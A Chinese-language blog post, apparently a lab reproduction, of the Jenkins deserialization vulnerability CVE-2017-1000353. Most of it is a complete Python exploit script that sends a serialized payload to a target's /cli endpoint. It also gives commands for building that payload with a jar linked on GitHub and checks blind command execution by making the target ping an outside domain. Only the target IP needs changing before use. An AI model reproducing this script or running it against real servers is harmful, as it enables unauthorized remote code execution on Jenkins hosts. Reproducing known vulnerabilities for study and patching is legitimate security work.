Jenkins反序列化漏洞(CVE-2017-1000353)复现过程

admin

这是个土豪漏洞....

为什么说这是个土豪漏洞呢，因为我试了windows下生成利用是不成功的，到mac下是成功的，当然我问过其他基友了，他也说win下测试失败，mac成功。不是想说我有mac，我是让别人帮我生成的.......

EXP

首先附上jenkins_poc1.py

1. import urllib
   
2. import requests
   
3. import uuid
   
4. import threading
   
5. import time
   
6. import gzip
   
7. import urllib3
   
8. import zlib
   
9. proxies = {
   
10. #  'http': 'http://127.0.0.1:8090',
    
11. #  'https': 'http://127.0.0.1:8090',
    
12. }
    
13. URL='http://192.168.18.161:8080/cli'
    
14. PREAMLE='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
    
15. PROTO = '\x00\x00\x00\x00'
    
16. FILE_SER = open("jenkins_poc1.ser", "rb").read()
    
17. def download(url, session):
    
18.     headers = {'Side' : 'download'}
    
19.     headers['Content-type'] = 'application/x-www-form-urlencoded'
    
20.     headers['Session'] = session
    
21.     headers['Transfer-Encoding'] = 'chunked'
    
22.     r = requests.post(url, data=null_payload(),headers=headers, proxies=proxies, stream=True)
    
23.     print r.text
    
24. def upload(url, session, data):
    
25.     headers = {'Side' : 'upload'}
    
26.     headers['Session'] = session
    
27.     headers['Content-type'] = 'application/octet-stream'
    
28.     headers['Accept-Encoding'] = None
    
29.     r = requests.post(url,data=data,headers=headers,proxies=proxies)
    
30. def upload_chunked(url,session, data):
    
31.     headers = {'Side' : 'upload'}
    
32.     headers['Session'] = session
    
33.     headers['Content-type'] = 'application/octet-stream'
    
34.     headers['Accept-Encoding']= None
    
35.     headers['Transfer-Encoding'] = 'chunked'
    
36.     headers['Cache-Control'] = 'no-cache'
    
37.     r = requests.post(url, headers=headers, data=create_payload_chunked(), proxies=proxies)
    
38. def null_payload():
    
39.     yield " "
    
40. def create_payload():
    
41.     payload = PREAMLE + PROTO + FILE_SER
    
42.     return payload
    
43. def create_payload_chunked():
    
44.     yield PREAMLE
    
45.     yield PROTO
    
46.     yield FILE_SER
    
47. def main():
    
48.     print "start"
    
49.     session = str(uuid.uuid4())
    
50.     t = threading.Thread(target=download, args=(URL, session))
    
51.     t.start()
    
52.     time.sleep(1)
    
53.     print "pwn"
    
54.     #upload(URL, session, create_payload())
    
55.     upload_chunked(URL, session, "asdf")
    
56. if __name__ == "__main__":
    
57.     main()

复制代码

还有个payload.jar，地址为

https://github.com/nobleXu/jenkins

复现过程

首先看py文件，里面有个jenkins_poc1.ser文件，这个默认是没有的，就是要用上面的jar生成，命令为

java -jar payload.jar jenkins_poc1.ser "command"

因为这个exp暂时是不能回显的，所以我们这边测试走dns

java -jar payload.jar jenkins_poc1.ser "ping jenkins.chinabaiker.com"，如果我们监听的服务器收到请求，就说明能够执行命令。

这是mac生成的正常文件内容

而windows生成的只有他的一半，怪不得会失败...

最后我们还要更改py文件里面要进行攻击利用的ip。

最后运行的py

dns收到请求，利用成功